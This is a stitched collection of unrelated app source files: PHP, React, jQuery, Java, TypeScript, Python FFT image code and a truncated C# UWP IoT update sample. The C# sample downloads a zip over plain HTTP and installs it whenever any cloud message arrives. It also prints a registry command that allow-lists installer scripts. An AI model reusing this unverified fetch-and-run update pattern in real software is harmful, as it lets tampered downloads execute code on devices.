<?php namespace App\Http\Controllers; use Illuminate\Http\Request; use App\User; use Illuminate\Support\Facades\Cache; use Intervention\Image\Facades\Image; class ProfileController extends Controller { public function index(User $user) { $follows = (auth()->user()) ? auth()->user()->following->contains($user->id) : false; $posts = Cache::remember( 'count.posts.' . $user->id, now()->addSeconds(30), function () use ($user) { return $user->posts->count(); } ); $followersCount = Cache::remember( 'count.followers.' . $user->id, now()->addSeconds(30), function () use ($user) { return $user->profile->followers->count(); } ); $followingCount = Cache::remember( 'count.following.' . $user->id, now()->addSeconds(30), function () use ($user) { return $user->following->count(); } ); return view('profiles/index', compact('user', 'follows', 'posts', 'followersCount', 'followingCount')); } public function edit(User $user) { $this->authorize('update', $user->profile); return view('profiles/edit', compact('user')); } public function update(User $user) { $this->authorize('update', $user->profile); $data = request()->validate( [ 'title' => 'required', 'description' => 'required', 'url' => 'url', 'image' => '', ] ); if (request('image')) { $imagePath = request('image')->store('profile', 'public'); $image = Image::make(public_path("storage/{$imagePath}"))->fit(1000, 1000); $image->save(); $imageArray = ['image' => $imagePath]; } auth()->user()->profile->update( array_merge( $data, $imageArray ?? [] ) ); return redirect("/profile/{$user->id}"); } }
import React, { lazy } from 'react'; import { GlobalStyle } from './GlobalStyle'; import { Layout } from './Layout/Layout'; import { Route, Routes } from 'react-router-dom'; const Home = lazy(() => import('../pages/Home')); const Movies = lazy(() => import('../pages/Movies')); const MovieDetails = lazy(() => import('../pages/MovieDetails')); const NotFound = lazy(() => import('../pages/NotFound/NotFound')); const Cast = lazy(() => import('./Cast/Cast')); const Reviews = lazy(() => import('./Reviews/Reviews')); export const App = () => { return ( <> <GlobalStyle /> <Routes> <Route path="/" element={<Layout />}> <Route index element={<Home />} /> <Route path="movies" element={<Movies />} /> <Route path="movies/:movieId" element={<MovieDetails />}> <Route path="cast" element={<Cast />} /> <Route path="reviews" element={<Reviews />} /> </Route> <Route path="*" element={<NotFound />} /> </Route> </Routes> </> ); };
import React, { useState, useRef } from 'react'; import { useAuth } from '../context/authContext'; import ReactDOM from 'react-dom'; import './Modal.css'; const Modal = ({ setSignIn, modalIsOpen, setModalIsOpen, setRegisterIsOpen, setPlanet, }) => { const emailRef = useRef(); const passwordRef = useRef(); const { login } = useAuth(); const [error, setError] = useState(''); const [loading, setLoading] = useState(false); const closeHandler = () => { setModalIsOpen(false); }; const signInHandler = async (e) => { e.preventDefault(); try { setError(''); setLoading(true); await login(emailRef.current.value, passwordRef.current.value); console.log('sign in handler'); setModalIsOpen(false); setSignIn(true); setPlanet('pluto'); } catch { setError('Failed to sign in'); } setLoading(false); }; const registerHandler = () => { setModalIsOpen(false); setRegisterIsOpen(true); }; if (!modalIsOpen) return null; return ReactDOM.createPortal( <> <div className='modal-bg' /> <div className='modal-container'> <form className='form-container' action='submit' method='POST'> <button className='closeBtn' onClick={closeHandler}> X </button> <h3>Please sign in or register...</h3> <input ref={emailRef} name='username' type='email' placeholder='Username' required /> <input ref={passwordRef} name='password' type='password' placeholder='Password' required /> <div className='button-container'> <button onClick={signInHandler}>Login</button> <button onClick={registerHandler}>Register</button> </div> </form> </div> </>, document.getElementById('portal') ); }; export default Modal;
var buttonColours = ["red", "blue", "green", "yellow"]; var gamePattern = []; var userClickedPattern = []; // trigger next sequence ----------------- function nextSequence() { userClickedPattern = []; level++; $("#level-title").text("Level " + level); var randomNumber = Math.floor(Math.random() * 4); var randomChosenColour = buttonColours[randomNumber]; gamePattern.push(randomChosenColour); $("#" + randomChosenColour).fadeIn(100).fadeOut(100).fadeIn(100); playSound(randomChosenColour); } // button clicks ---------------- $(".btn").click(function() { var userChosenColour = $(this).attr("id"); userClickedPattern.push(userChosenColour); playSound(userChosenColour); animatePress(userChosenColour); checkAnswer(userClickedPattern.length-1); }); // button animations ------------- function animatePress(currentColour) { $("#" + currentColour).addClass("pressed"); setTimeout (function () { $("#" + currentColour).removeClass("pressed"); },100); } // first time keydown ----------------- var started = false; var level = 0; $(document).keypress(function() { if (!started) { $("#level-title").text("Level "+ level); nextSequence(); started = true; } }); // Check answer a.k.a The Real Boss fight ----------- function checkAnswer(currentLevel) { // Check if the LAST button clicked is right if (gamePattern[currentLevel] === userClickedPattern[currentLevel]) { console.log("success"); if (userClickedPattern.length === gamePattern.length) { setTimeout(function () { nextSequence(); },1000); } // otherwise, it's wrong and trigger Game Over } else { console.log("wrong"); playSound("wrong"); $("body").addClass("game-over"); setTimeout(function () { $("body").removeClass("game-over"); }, 200); $("#level-title").text("Game Over, Press Any Key to Restart"); startOver(); } } // Sounds to play ------------------ function playSound(name) { switch(name) { case "red": var red = new Audio("sounds/red.mp3"); red.play(); break; case "blue": var blue = new Audio("sounds/blue.mp3"); blue.play(); break; case "green": var green = new Audio("sounds/green.mp3"); green.play(); break; case "yellow": var yellow = new Audio("sounds/yellow.mp3"); yellow.play(); break; case "wrong": var wrong = new Audio("sounds/wrong.mp3"); wrong.play(); break; default: } } // Reset every variable ------------- function startOver() { level = 0; gamePattern = []; started = false; }
package com.pixel.synchronre.reportmodule.controller; import com.pixel.synchronre.archivemodule.controller.service.AbstractDocumentService; import com.pixel.synchronre.reportmodule.config.JasperReportConfig; import com.pixel.synchronre.reportmodule.service.IServiceReport; import com.pixel.synchronre.sharedmodule.exceptions.AppException; import com.pixel.synchronre.sychronremodule.model.dao.AffaireRepository; import com.pixel.synchronre.sychronremodule.model.dao.ReglementRepository; import com.pixel.synchronre.sychronremodule.model.dao.RepartitionRepository; import com.pixel.synchronre.sychronremodule.model.entities.Affaire; import com.pixel.synchronre.sychronremodule.model.entities.Reglement; import com.pixel.synchronre.sychronremodule.model.entities.Repartition; import jakarta.servlet.http.HttpServletResponse; import lombok.RequiredArgsConstructor; import org.springframework.http.HttpStatus; import org.springframework.stereotype.Controller; import org.springframework.web.bind.annotation.GetMapping; import org.springframework.web.bind.annotation.PathVariable; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.ResponseStatus; import java.util.ArrayList; import java.util.HashMap; import java.util.Map; //@Controller @RequestMapping(path = "/reports") @RequiredArgsConstructor @ResponseStatus(HttpStatus.OK) public class ReportController { private final IServiceReport jrService; private final JasperReportConfig jrConfig; private final RepartitionRepository repRepo; private final AffaireRepository affRepo; private final ReglementRepository regRepo; private final AbstractDocumentService docService; @GetMapping("/note-cession/{plaId}") public void generateNoteCession(HttpServletResponse response, @PathVariable Long plaId) throws Exception { Repartition placement = repRepo.findById(plaId).orElseThrow(()-> new AppException("Placement introuvable")); if(!placement.getType().getUniqueCode().equals("REP_PLA")) throw new AppException("Cette repartition n'est pas un placement"); Map<String, Object> params = new HashMap<>(); params.put("aff_id", placement.getAffaire().getAffId()); params.put("aff_assure", placement.getAffaire().getAffAssure()); params.put("fac_numero_police", placement.getAffaire().getFacNumeroPolice()); params.put("ces_id", placement.getCessionnaire().getCesId()); params.put("param_image", jrConfig.imagesLocation); //@Charly //Affichage du cachet en fonction d'une expression dans l'etat if (placement.getRepStaCode().getStaCode().equals("VAL") || placement.getRepStaCode().getStaCode().equals("MAIL")){ params.put("param_visible", "true"); } else{ params.put("param_visible", "false"); } //fin de la manip byte[] reportBytes = jrService.generateReport(jrConfig.noteCession, params, new ArrayList<>(), null); docService.displayPdf(response, reportBytes, "Note-de-cession"); } @GetMapping("/note-de-debit/{affId}") public void generateNoteDebit(HttpServletResponse response, @PathVariable Long affId) throws Exception { Repartition repart = repRepo.repartFindByAffaire(affId).orElseThrow(()-> new AppException("Affaire introuvable")); Map<String, Object> params = new HashMap<>(); params.put("aff_id", repart.getAffaire().getAffId()); params.put("aff_assure", repart.getAffaire().getAffAssure()); params.put("fac_numero_police", repart.getAffaire().getFacNumeroPolice()); params.put("param_image", jrConfig.imagesLocation); //Affichage du cachet en fonction d'une expression dans l'etat if (repart.getRepStaCode().getStaCode().equals("VAL") || repart.getRepStaCode().getStaCode().equals("MAIL")){ params.put("param_visible", "true"); }else{ params.put("param_visible", "false"); } byte[] reportBytes = jrService.generateReport(jrConfig.noteDebit, params, new ArrayList<>(), null); docService.displayPdf(response, reportBytes, "Note-de-debit"); } @GetMapping("/note-de-credit/{affId}/{cesId}") public void generateNoteCredit(HttpServletResponse response, @PathVariable Long affId, @PathVariable Long cesId) throws Exception { Repartition placement = repRepo.getPlacementByAffIdAndCesId(affId,cesId).orElseThrow(()-> new AppException("Placement introuvable")); if(!placement.getType().getUniqueCode().equals("REP_PLA")) throw new AppException("Cette repartition n'est pas un placement"); Map<String, Object> params = new HashMap<>(); params.put("aff_id", placement.getAffaire().getAffId()); params.put("aff_assure", placement.getAffaire().getAffAssure()); params.put("fac_numero_police", placement.getAffaire().getFacNumeroPolice()); params.put("ces_id", placement.getCessionnaire().getCesId()); params.put("param_image", jrConfig.imagesLocation); byte[] reportBytes = jrService.generateReport(jrConfig.noteCredit, params, new ArrayList<>(), null); docService.displayPdf(response, reportBytes, "Note-de-credit"); } @GetMapping("/note-cession-sinistre/{plaId}") public void generateNoteCessionSinistre(HttpServletResponse response, @PathVariable Long plaId) throws Exception { Repartition placement = repRepo.findById(plaId).orElseThrow(()-> new AppException("Placement introuvable")); if(!placement.getType().getUniqueCode().equals("REP_PLA")) throw new AppException("Cette repartition n'est pas un placement"); Map<String, Object> params = new HashMap<>(); params.put("aff_id", placement.getAffaire().getAffId()); params.put("aff_assure", placement.getAffaire().getAffAssure()); params.put("fac_numero_police", placement.getAffaire().getFacNumeroPolice()); params.put("ces_id", placement.getCessionnaire().getCesId()); params.put("param_image", jrConfig.imagesLocation); //Affichage du cachet en fonction d'une expression dans l'etat if (placement.getRepStaCode().getStaCode().equals("VAL") || placement.getRepStaCode().getStaCode().equals("MAIL")){ params.put("param_visible", "true"); }else{ params.put("param_visible", "false"); } byte[] reportBytes = jrService.generateReport(jrConfig.noteCessionSinistre, params, new ArrayList<>(), null); docService.displayPdf(response, reportBytes, "Note-cession-sinistre"); } @GetMapping("/note-debit-sinistre/{affId}") public void generateNoteDebitSinistre(HttpServletResponse response, @PathVariable Long affId) throws Exception { Affaire affaire = affRepo.findById(affId).orElseThrow(()-> new AppException("Affaire introuvable")); Map<String, Object> params = new HashMap<>(); params.put("aff_id", affaire.getAffId()); params.put("aff_assure", affaire.getAffAssure()); params.put("fac_numero_police", affaire.getFacNumeroPolice()); params.put("param_image", jrConfig.imagesLocation); byte[] reportBytes = jrService.generateReport(jrConfig.noteDebitSinistre, params, new ArrayList<>(), null); docService.displayPdf(response, reportBytes, "Note-Debit-Sinistre"); } @GetMapping("/cheque/{regId}") public void generateCheque(HttpServletResponse response, @PathVariable Long regId) throws Exception { Reglement reglement = regRepo.findById(regId).orElseThrow(()-> new AppException(("Règlement introuvable"))); Map<String, Object> params = new HashMap<>(); params.put("reg_id", reglement.getRegId()); byte[] reportBytes = jrService.generateReport(jrConfig.cheque, params, new ArrayList<>(), null); docService.displayPdf(response, reportBytes, "Cheque"); } }
/** * @description : * @author : belgacem * @group : * @created : 14/08/2023 - 08:58:17 * * MODIFICATION LOG * - Version : 1.0.0 * - Date : 14/08/2023 * - Author : belgacem * - Modification : **/ import React, { useState, useEffect } from 'react'; import { useNavigate } from 'react-router-dom'; import axios from 'axios'; import { ToastContainer, toast } from 'react-toastify'; import 'react-toastify/dist/ReactToastify.css'; import { Visibility, Delete, Edit } from '@mui/icons-material'; import { Typography, TableContainer, TableHead, TableRow, TableCell, TableBody, IconButton, TextField } from '@mui/material'; import { Container, Table, Button } from 'react-bootstrap'; interface Proef { id: number; name: string; matricule: string; mail: string; numero_tlf: string; // Add more properties if needed } const GetAllProef: React.FC = () => { const [proefs, setProefs] = useState<Proef[]>([]); const [searchQuery, setSearchQuery] = useState<string>(''); // State for search query const navigate = useNavigate();; useEffect(() => { const fetchProefs = async () => { try { const response = await axios.get('http://localhost:5000/proefs/'); setProefs(response.data); } catch (error) { console.error('Error fetching proefs:', error); } }; fetchProefs(); }, []); const handleViewProef = (proef: Proef) => { notifySuccess(`Voir le proef "${proef.name}"`); navigate(`/proef-details/${proef.id}`); }; const handleDeleteProef = (proef: Proef) => { console.log('Supprimer le proef', proef.name); notifyInfo(`Supprimer le proef "${proef.name}"`); navigate(`/delete-proef/${proef.id}`); }; const handleEditProef = (proef: Proef) => { notifyInfo(`Modifier le proef "${proef.name}"`); navigate(`/edit-proef/${proef.id}`); }; const handleCreateProef = () => { notifyInfo("Créer un proef"); navigate('/create-proef'); }; const notifySuccess = (message: string) => { toast.success(message, { position: toast.POSITION.TOP_RIGHT, autoClose: 5000, hideProgressBar: true, closeButton: true, }); }; const notifyInfo = (message: string) => { toast.info(message, { position: toast.POSITION.TOP_LEFT, autoClose: 5000, hideProgressBar: true, closeButton: true, }); }; const handleSearch = (event: React.ChangeEvent<HTMLInputElement>) => { const searchTerm = event.target.value; console.log('Search term:', searchTerm); setSearchQuery(searchTerm); }; console.log('proefs:', proefs); console.log('searchQuery:', searchQuery); const filteredProefs = proefs.filter((proef) => { const query = searchQuery ? searchQuery.toLowerCase() : ''; // Ensure that the properties are not null or undefined before calling toLowerCase() return ( (proef.name && proef.name.toLowerCase().includes(query)) || (proef.matricule && proef.matricule.toLowerCase().includes(query)) || (proef.mail && proef.mail.toLowerCase().includes(query)) || (proef.numero_tlf && proef.numero_tlf.toLowerCase().includes(query)) ); }); return ( <div> <ToastContainer /> <Container> <h1 style={ {textAlign: 'center'}}>Liste des proefs</h1> <TextField label="Rechercher" fullWidth value={searchQuery} onChange={handleSearch} style={{ marginBottom: '1rem' }} /> <TableContainer> <Table> <TableHead> <TableRow> <TableCell>Nom du proef</TableCell> <TableCell>Matricule</TableCell> <TableCell>Mail</TableCell> <TableCell>Numéro de téléphone</TableCell> <TableCell>Actions</TableCell> </TableRow> </TableHead> <TableBody> {filteredProefs.map((proef) => ( <TableRow key={proef.id}> <TableCell>{proef.name}</TableCell> <TableCell>{proef.matricule}</TableCell> <TableCell>{proef.mail}</TableCell> <TableCell>{proef.numero_tlf}</TableCell> <TableCell> <IconButton color="primary" onClick={() => handleViewProef(proef)} > <Visibility /> </IconButton> <IconButton color="secondary" onClick={() => handleDeleteProef(proef)} > <Delete /> </IconButton> <IconButton color="warning" onClick={() => handleEditProef(proef)} > <Edit /> </IconButton> </TableCell> </TableRow> ))} </TableBody> </Table> </TableContainer> <div className="text-center mt-3"> <Button variant="contained" color="primary" onClick={handleCreateProef} style={{ marginTop: '1rem', backgroundColor: '#007bff', // Custom primary color color: '#fff', // Text color borderRadius: '4px', // Rounded corners fontWeight: 'bold', // Bold text letterSpacing: '0.5px', // Increased letter spacing boxShadow: '0px 2px 4px rgba(0, 0, 0, 0.1)', // Box shadow transition: 'background-color 0.3s ease', // Smooth hover transition textAlign: 'center' }} onMouseOver={(e) => { e.currentTarget.style.backgroundColor = '#0056b3'; // Darker color on hover }} onMouseOut={(e) => { e.currentTarget.style.backgroundColor = '#007bff'; // Restore original color }} > Créer un proef </Button> </div> </Container> </div> ); }; export default GetAllProef;
import React, { useEffect } from "react"; import { UserContext } from "../UserContext"; import { useContext } from "react"; import { Link, Navigate } from "react-router-dom"; import axios from "axios"; import { useState } from "react"; import { Helmet } from "react-helmet"; import AccountBlog from "../Components/AccountBlog"; function AccountPage() { const { user, setUser, ready } = useContext(UserContext); const [redirect, setRedirect] = useState(""); const [blogs, setBlog] = useState([]); const id = user?._id; const [loading, setLoading] = useState(true); const BASE_URL = process.env.BASE_URL_FRONTEND; // if (!user) { // return <Navigate to={"/login"} />; // } else { // } function logout(e) { e.preventDefault(); axios.post("/logout"); setUser(null); setRedirect("/"); } // eslint-disable-next-line react-hooks/rules-of-hooks useEffect(() => { axios.get(`/account/blog/${user?._id}`).then((response) => { setBlog(response.data); setLoading(false); }); }, [id, user?._id]); if (!ready) { return <div>Loading...</div>; } if (redirect) { return <Navigate to={redirect} />; } return ( <nav className="text-white max-w-6xl m-auto flex flex-col grow justify-center my-8 gap-2"> <Helmet> <title>{user?.name} | Account Page</title> <meta name="description" content="My Page Description" /> </Helmet> <div className=" gap-1 py-2 px-6 items-center flex flex-row mb-10 rounded-3xl m-auto text-center"> <svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" strokeWidth={1.5} stroke="currentColor" className="w-6 h-6"> <path strokeLinecap="round" strokeLinejoin="round" d="M15.75 6a3.75 3.75 0 11-7.5 0 3.75 3.75 0 017.5 0zM4.501 20.118a7.5 7.5 0 0114.998 0A17.933 17.933 0 0112 21.75c-2.676 0-5.216-.584-7.499-1.632z" /> </svg> <span className="font-Montserrat text-3xl ">My Account</span> </div> <div className="flex max-w-6xl m-auto gap-6"> {user?.photos.length > 0 ? ( <div className=" rounded-full "> <img src={`${BASE_URL}/userphotos/` + user?.photos?.[0]} alt={user?.email} className="h-24 rounded-full " /> </div> ) : ( <div className=" rounded-full "> <img src={ "https://static.vecteezy.com/system/resources/previews/005/544/718/original/profile-icon-design-free-vector.jpg" } alt={user?.email} className="h-24 rounded-full" /> </div> )} <div className=""> <div className="flex flex-row items-center gap-2 justify-center mb-6 "> <div className="mr-7"> <h4 className="font-Montserrat text-base font-medium"> {user?.email.split("@gmail.com")} </h4> </div> <button className=" py-2 px-6 border rounded-xl bg-white"> <Link className="" to={`/account/edit`}> <h5 className="text-black bg-white">Edit Profile</h5> </Link> </button> </div> <div className="text-left"> <h3 className="font-Poppins text-lg font-bold">{user?.name}</h3> </div> <div className="text-left"> <span className="font-Montserrat text-sm ">{user?.bio}</span> </div> <div className="mb-5"> <br /> <button onClick={logout} className="bg-primary p-2 w-full text-white rounded-2xl primary"> Log out </button> </div> </div> </div> {blogs.length > 0 ? ( <div className=""> <hr /> <div className="text-center my-5"> <h2 className="font-Montserrat text-xl font-medium ">My Blogs</h2> </div> {loading ? ( <div className="text-center"> <h2 className="font-Montserrat text-2xl font-light"> Loading... </h2> </div> ) : ( <div className="grid p-4 mg:p-0 lg:p-0 sm:grid-col-1 md:grid-cols-3 lg:grid-cols-3 gap-4 max-w-6xl m-auto"> {blogs.length > 0 && blogs.map((blog) => <AccountBlog blog={blog} />)} </div> )} </div> ) : ( <> <div className="text-center my-5"> <h2 className="font-Montserrat text-xl font-medium ">My Blogs</h2> </div> <div className="text-center"> <h5 className="font-Montserrat text-xl font-light"> You don't have any blogs yet. Create Here your first blog.{" "} <Link to={"/account/blog/new"} className="underline"> Create Blog </Link> </h5> </div> </> )} </nav> ); } export default AccountPage;
import React, {useEffect} from "react"; import style from "./EpisodeItemPage.module.scss" import {useNavigate, useParams} from "react-router-dom"; import ArrowBackIcon from '@mui/icons-material/ArrowBack'; import ArrowForwardIcon from '@mui/icons-material/ArrowForward'; import IconButton from "@mui/material/IconButton"; import LinearProgress from "@mui/material/LinearProgress"; import {ListOfCharacters} from "../X_Common/ListOfCharacters/ListOfCharacters"; import {ErrorBlock} from "../X_Common/Error/ErrorBlock"; import {useStore} from "../../hooks/useStore"; import {AxiosError} from "axios"; import {observer} from "mobx-react-lite"; export const EpisodeItemPage = observer(() => { const {id} = useParams<{ id: string }>(); const { episodeStore: { episode, members, error, loading, count, getInfo, getEpisode, } } = useStore(); useEffect(() => { if (id) { getInfo().then(); getEpisode(id).then(); } }, [id]); const navigate = useNavigate(); const onBackClickHandler = () => navigate(`/episode/${Number(id) - 1}`); const onForwardClickHandler = () => navigate(`/episode/${Number(id) + 1}`); return ( <div className={style.episodeItemPage}> { Boolean(error) ? ( <ErrorBlock error={error as AxiosError}/> ) : ( <> { loading && <LinearProgress className={style.linearProgressWrapper}/> } { episode && ( <> <div className={style.titleBlock}> <IconButton className={style.btn} onClick={onBackClickHandler} disabled={!id || Number(id) === 1} > <ArrowBackIcon/> </IconButton> <div className={style.titleWrapper}> <h1 className={style.title}> <span>{episode.episode}</span><span> - </span><span>{episode.name}</span> </h1> <p className={style.air}>{`Air date: ${episode.air_date}`}</p> </div> <IconButton className={style.btn} onClick={onForwardClickHandler} disabled={!id || !count || Boolean(id && count && (Number(id) === count))} > <ArrowForwardIcon/> </IconButton> </div> </> ) } { members && ( <ListOfCharacters title="List of characters who have been seen in the episode:" characters={members} className={style.residents} /> ) } </> ) } </div> ) })
# image_class.py from PyQt5 import QtWidgets, QtGui, QtCore import cv2 from PyQt5.QtGui import QPixmap as qtg import numpy as np import matplotlib.pyplot as plt class Image: def __init__(self): self.path ='' self.image_data =None self.image_data =None self.original_image=None self.processed_image =None self.size =None ##FFT COMPONENTS self.fft =None self.magnitude =None self.phase =None self.real =None self.imaginary =None self.components =None def upload_image(self, path): self.path = path self.image_data = plt.imread(self.path) self.image_data =self.image_data[:,:,0] self.original_image = cv2.imread(path, cv2.IMREAD_GRAYSCALE) self.processed_image = self.original_image.copy() self.size = self.original_image.shape[:2] # (height, width) ##FFT COMPONENTS self.fft = np.fft.fft2(self.image_data) self.magnitude = np.abs(self.fft) self.phase = np.angle(self.fft) self.real = np.real(self.fft) self.imaginary = np.imag(self.fft) self.components = { '':'', 'Magnitude':self.magnitude, 'Phase':self.phase, 'Real':self.real, 'Imaginary': self.imaginary, } def get_tab_number(self): return self.tab_number def get_component(self, type: str, ratio: float) -> np.ndarray: if type == "Magnitude": return self.components[type] elif type == "Phase": return self.components[type] elif type == "Real": return self.components[type] elif type == "Imaginary": return self.components[type] elif type =="Uniform Magnitude" : return np.ones(shape=self.shape) * ratio elif type == "Uniform Phase": return np.exp(1j * np.zeros(shape=self.shape) * ratio) def apply_inverse_fourier_transform(self): # Apply inverse Fourier transform to obtain the processed image processed_image = np.fft.ifft2(self).real return processed_image def mix(*images, types, ratios, mode): if len(images) < 2: raise ValueError("At least two images are required for mixing.") components = [image.get_component(type_, ratio) for image, type_, ratio in zip(images, types, ratios)] if mode == 'mag-phase': construct = np.real(np.fft.ifft2(np.prod(components))) elif mode == 'real-imag': construct = np.real(np.fft.ifft2(sum(components))) else: raise ValueError("Invalid mode. Supported modes: 'mag-phase', 'real-imag'.") if np.max(construct) > 1.0: construct /= np.max(construct) plt.imsave('test.png', np.abs(construct)) return qtg('test.png') def resize(self, desired_size): if self.processed_image is not None and self.processed_image.shape[0] > 0 and self.processed_image.shape[1] > 0: resized_image = cv2.resize(self.processed_image, (desired_size[1], desired_size[0])) return resized_image def to_image_object(self, data): # Create a new Image instance from the given data img = Image() img.upload_image(self.path) img.processed_image = data return img def get_component_images(self, type: str,): component = self.get_component(type,1) component_image = self.to_image_object(component) return component_image def is_imaginary_component_of(self, other_image): # Resize images to a common size target_size = (max(self.original_image.shape[0], other_image.original_image.shape[0]), max(self.original_image.shape[1], other_image.original_image.shape[1])) resized_self = cv2.resize(self.original_image, target_size) resized_other = cv2.resize(other_image.original_image, target_size) # Apply Fourier transform to the resized images fft_image_self = np.fft.fft2(resized_self) fft_image_other = np.fft.fft2(resized_other) # Extract the imaginary component imaginary_self = np.fft.fftshift(fft_image_self).imag imaginary_other = np.fft.fftshift(fft_image_other).imag # You may want to use a suitable comparison method based on your needs return np.array_equal(imaginary_self, imaginary_other) def mix_and_reconstruct(mode,image_1_weights,image_1,image_2_weights,image_2,image_3_weights,image_3,image_4_weights,image_4): if (image_1.path == '' or image_2.path == '' or image_3.path == '' or image_4.path == ''): return if(mode=="real-imag"): denominator_for_comp_1 =image_1_weights['Real']+image_1_weights['Real']+image_3_weights['Real']+image_4_weights['Real'] ratio__for_comp_1=[x//denominator_for_comp_1 for x in [image_1_weights['Real'] , image_2_weights ['Real'], image_3_weights ['Real'], image_4_weights["Real"]]] denominator_for_comp_2 =image_1_weights['Imaginary']+image_1_weights['Imaginary']+image_3_weights['Imaginary']+image_4_weights['Imaginary'] ratio__for_comp_2=[x//denominator_for_comp_2 for x in [image_1_weights['Imaginary'] , image_2_weights ['Imaginary'], image_3_weights ['Imaginary'], image_4_weights["Imaginary"]]] real_part=ratio__for_comp_1[0]*image_1.real + ratio__for_comp_1[1]*image_2.real + ratio__for_comp_1[2]*image_3.real + ratio__for_comp_1[3]*image_4.real imag_part=ratio__for_comp_2[0]*image_1.imaginary + ratio__for_comp_2[1]*image_2.imaginary + ratio__for_comp_2[2]*image_3.imaginary + ratio__for_comp_2[3]*image_4.imaginary img_fft=real_part+ 1j *(imag_part) img_fftshift = np.fft.fftshift(img_fft) img_ifftshit = np.fft.ifftshift(img_fftshift) reconstrucuted_image = np.fft.ifft2(img_ifftshit) #self.axes_component.imshow(np.abs(reconstrucuted_image), cmap="gray") else: denominator_for_comp_1 =image_1_weights['Magnitude']+image_1_weights['Magnitude']+image_3_weights['Magnitude']+image_4_weights['Magnitude'] ratio__for_comp_1=[x//denominator_for_comp_1 for x in [image_1_weights['Magnitude'] , image_2_weights ['Magnitude'], image_3_weights ['Magnitude'], image_4_weights["Magnitude"]]] denominator_for_comp_2 =image_1_weights['Phase']+image_1_weights['Phase']+image_3_weights['Phase']+image_4_weights['Phase'] ratio__for_comp_2=[x//denominator_for_comp_2 for x in [image_1_weights['Phase'] , image_2_weights ['Phase'], image_3_weights ['Phase'], image_4_weights["Phase"]]] magnitude=ratio__for_comp_1[0]*image_1.magnitude + ratio__for_comp_1[1]*image_2.magnitude + ratio__for_comp_1[2]*image_3.magnitude + ratio__for_comp_1[3]*image_4.magnitude phase=ratio__for_comp_2[0]*image_1.phase + ratio__for_comp_2[1]*image_2.phase + ratio__for_comp_2[2]*image_3.phase + ratio__for_comp_2[3]*image_4.phase img_fft=magnitude * np.exp(1j * phase) reconstrucuted_image=np.fft.ifft2(img_fft) #self.axes_component.imshow(np.abs(reconstrucuted_image), cmap="gray")
using Microsoft.Azure.Devices; using Microsoft.Azure.Devices.Client; using Microsoft.Azure.Devices.Common.Exceptions; using System; using System.Collections.Generic; using System.Diagnostics; using System.IO; using System.IO.Compression; using System.Linq; using System.Runtime.InteropServices.WindowsRuntime; using System.Threading.Tasks; using Windows.ApplicationModel; using Windows.ApplicationModel.Core; using Windows.Networking; using Windows.Networking.BackgroundTransfer; using Windows.Networking.Connectivity; using Windows.Storage; using Windows.Storage.Streams; using Windows.System; using Windows.System.Profile; using Windows.UI.Core; using Windows.UI.Xaml.Controls; using Windows.UI.Xaml.Input; // The Blank Page item template is documented at http://go.microsoft.com/fwlink/?LinkId=402352&clcid=0x409 namespace SampleRefrigeratorControl { /// <summary> /// An empty page that can be used on its own or navigated to within a Frame. /// </summary> public sealed partial class MainPage : Page { static RegistryManager _registryManager; // best way to provide your connection string: duplicate resourcesFileSample to a file called resourcesFile and enter your connections String. // Don't add it to source control! static string _connectionString = String.Empty; string _deviceId = "myFirstDevice"; Device _device = null; Task _receivingTask; DeviceClient _deviceClient; Uri _url = new Uri("http://danielmeixner.de/666/W10IoTapp.zip"); public MainPage() { this.InitializeComponent(); InitConfiguration(); RegisterDeviceOnIoTHub(); ShowAppVersion(); } private void ShowAppVersion() { Package package = Package.Current; PackageId packageId = package.Id; PackageVersion version = packageId.Version; var ver = string.Format("{0}.{1}.{2}.{3}", version.Major, version.Minor, version.Build, version.Revision); tbVersion.Text = $"Version {ver}"; } private static void InitConfiguration() { var resources = new Windows.ApplicationModel.Resources.ResourceLoader("resourcesFile"); _connectionString = resources.GetString("IotHubConnectionString"); Package package = Package.Current; PackageId packageId = package.Id; var familyName = packageId.FamilyName; var msg = "To get things going run the following command on a remote powershell on your device:"; string cmd = $@"REG ADD ""HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\EmbeddedMode\ProcessLauncher"" /v AllowedExecutableFilesList /t REG_MULTI_SZ /d ""c:\windows\system32\applyupdate.exe\0c:\windows\system32\deployappx.exe\0c:\installer\appinstall.cmd\0c:\Data\Users\DefaultAccount\AppData\Local\Packages\{familyName}\LocalState\installer\AppInstall\appinstall.cmd\0"""; Debug.WriteLine(msg); Debug.WriteLine(cmd); } private async void RegisterDeviceOnIoTHub() { _deviceId = GetUniqueDeviceId(); // add to Iot Hub or get Device Info _device = await SignUpDeviceOnIotHub(_deviceId); //start Listening for Update Triggers ListenForUpdates(_device); } private void ListenForUpdates(Device _device) { ConnectToIoTSuite(_device); } private async void ConnectToIoTSuite(Device dev) { var deviceConnectionString = $"{ _connectionString};DeviceId={_device.Id}"; try { _deviceClient = DeviceClient.CreateFromConnectionString(deviceConnectionString, Microsoft.Azure.Devices.Client.TransportType.Amqp); await _deviceClient.OpenAsync(); //WriteToDebugBoxAsync("Device Client Opened"); _receivingTask = Task.Run(() => ReceiveDataFromAzure()); } catch { //WriteToDebugBoxAsync("EXCEPTION ConnectToIoTSITE"); Debug.Write("Error while trying to connect to IoT Hub"); //deviceClient = null; } } private async void ReceiveDataFromAzure() { while (true) { var message = await _deviceClient.ReceiveAsync(); if (message != null) { //WriteToDebugBoxAsync("Received Data from Azure "); try { //dynamic command = DeSerialize(message.GetBytes()); //if (command.Name == "TriggerAlarm") //{ // // Received a new message, display it await CoreApplication.MainView.CoreWindow.Dispatcher.RunAsync(CoreDispatcherPriority.Normal, async () => { await TriggerUpdateAsync(); }); // We received the message, indicate IoTHub we treated it await _deviceClient.CompleteAsync(message); // WriteToDebugBoxAsync("Sent Azure completed status"); //} } catch { await _deviceClient.RejectAsync(message); } } } } private async Task TriggerUpdateAsync() { await RunAppUpdateAsync(_url); } // get unique Device name private static string GetUniqueDeviceId() { var hostNames = NetworkInformation.GetHostNames(); var hostName = hostNames.FirstOrDefault(name => name.Type == HostNameType.DomainName)?.DisplayName ?? "???"; var hwToken = HardwareIdentification.GetPackageSpecificToken(null); var hwTokenId = hwToken.Id; var dataReader = Windows.Storage.Streams.DataReader.FromBuffer(hwTokenId); byte[] bytes = new byte[hwTokenId.Length]; dataReader.ReadBytes(bytes); var id = BitConverter.ToString(bytes).Replace("-", "").Substring(25); var deviceId = $"{hostName}_{id}"; return deviceId; } private static async Task<Device> SignUpDeviceOnIotHub(string deviceId) { Device device; 